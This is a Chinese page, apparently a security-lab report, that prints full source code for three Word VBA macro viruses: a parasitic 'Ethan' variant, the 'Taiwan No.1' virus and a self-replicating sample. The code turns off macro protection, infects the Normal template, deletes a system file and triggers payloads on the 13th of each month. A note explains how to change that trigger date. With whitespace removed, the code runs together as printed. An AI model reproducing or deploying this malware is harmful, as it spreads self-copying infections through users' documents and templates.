搜索
寄生源代码：PrivateSubDovument_Close()OnErrorResumeNexts=ActiveDocument.SavedApplication.EnableCancelKey=Not-1WithOpions:.ConfirmConversions=0:.VirusProtection=0:.SaveNormalPeompt=0:EndWithRandomizeIfDir(c:\ethan.___,6)=ThenOpenc:\ethan.___ForOutputAs#1Fori=1ToMacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLinesa=MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i,1)Print#1,aNextiClose#1SetAttrc:\ethan.___,6EndIfIfDir(c:\class.sys)ThenKillc:\class.sysIfNormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1,1)PrivateSubDocument_Close()ThenSett=NomalTemplate.VBComponents.Item(1)ElseIfActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1,1)PrivateSubDocument_Close()ThenSett=ActiveDocument.VBProject.VBComponents.Item(1)Elset=EndIfIftThenOpenc:\ethan.___ForInputAs#1IfLOF(1)=0ThenGoToqi=1DoWhileNotEOF(1)LineInput#1,at.CodeModule.InsertLinesi,ai=i+1Loopq:Close#1IfRnd0.3ThenWithDialogs(wdDialogFileSummaryInfo):.Tile=EhtanFrome:.Author=EW/LN/CB:.Keyword=Ethan:.Execute:EndWithIfLeft(ActiveDocument.Name,8)DocumentThenActiveDocument.SaveAsFileName=ActiveDocument.FullNameEndIfIfActiveDocument.SavedsThenActiveDocument.Saved=sEndIfEndSub台湾一号源代码：'fanjian_shiyanDimnm(4)SubDocument_Open()Setourcodemodule=ThisDocument.VBProject.VBComponents(1).CodeModuleSethost=NormalTemplate.VBProject.VBComponents(1).CodeModuleIfThisDocument=NormalTemplateThenSethost=ActiveDocument.VBProject.VBComponents(1).CodeModuleEndIfWithhostIf.Lines(1,1)'fanjian_shiyanThen.DeleteLines1,.CountOfLines.InsertLines1,ourcodemodule.Lines(1,100).ReplaceLine3,SubDocument_Close()IfThisDocument=NormalTemplateThen.ReplaceLine3,SubDocument_Open()ActiveDocument.SaveAsActiveDocument.FullNameEndIfEndIfEndWithCount=0IfDay(Now())=13Thentry:OnErrorGoTotrytest=-1con=1tog$=i=0Whiletest=-1Fori=0To4nm(i)=Int(Rnd()*10)con=con*nm(i)Ifi=4Thentog$=tog$+Str$(nm(4))+=?GoTobegEndIftog$=tog$+Str$(nm(i))+*Nextibeg:Beepans$=InputBox$(今天是+Date$+,跟你玩一个心理游戏+Chr$(13)+你若答错，只好接受教育。。。+Chr$(13)+tog$,台湾NO.1MacroVirus)IfRTrim$(LTrim$(ans$))=LTrim$(Str$(con))ThenDocuments.AddSelection.Paragraphs.Alignment=wdAlignParagraphCenterBeepWithSelection.Font.Name=细明体.Size=16.Bold=1.Underline=1EndWithSelection.InsertAfterText:=何为宏病毒Selection.InsertParagraphAfterBeepSelection.InsertAfterText:=答案：Selection.Font.Italic=1Selection.InsertAfterText:=我就是。。。。Selection.InsertParagraphAfterSelection.InsertParagraphAfterSelection.Font.Italic=0BeepSelection.InsertAfterText:=如何防御宏病毒Selection.InsertParagraphAfterBeepSelection.InsertAfterText:=答案：Selection.Font.Italic=1Selection.InsertAfterText:=不要看我。。。。GoTooutElseCount=Count+1Forj=1To5BeepDocuments.AddNextjSelection.Paragraphs.Alignment=wdAlignParagraphCenterSelection.InsertAfterText:=宏病毒IfCount=2ThenGoTooutGoTotryEndIfWendEndIfout:EndSub说明：该病毒修改于13号发作日期为每月13号，如需修改发作日期修改源代码中IfDay(Now())=13Then对应的日期自我复制源代码：'fanjian_shiyanSubDocument_Open()OnErrorResumeNextApplication.DisplayStatusBar=FalseOptions.SaveNormalPrompt=FalseOurcode=ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1,100)SetHost=NormalTemplate.VBProject.VBComponents(1).CodeModuleIfThisDocument=NormalTemplateThenSetHost=ActiveDocument.VBProject.VBComponents(1).CodeModuleEndIfWithHostIf.Lines(1,1)'fanjian_shiyanThen.DeleteLines1,.CountOfLines.InsertLines1,Ourcode.ReplaceLine2,SubDocument_Close()IfThisDocument=NormalTemplateThen.ReplaceLine2,SubDocument_Open()ActiveDocument.SaveAsActiveDocument.FullNameEndIfEndIfEndWithMsgBoxMicroVirusbyContentSecurityLab实验报告EndSub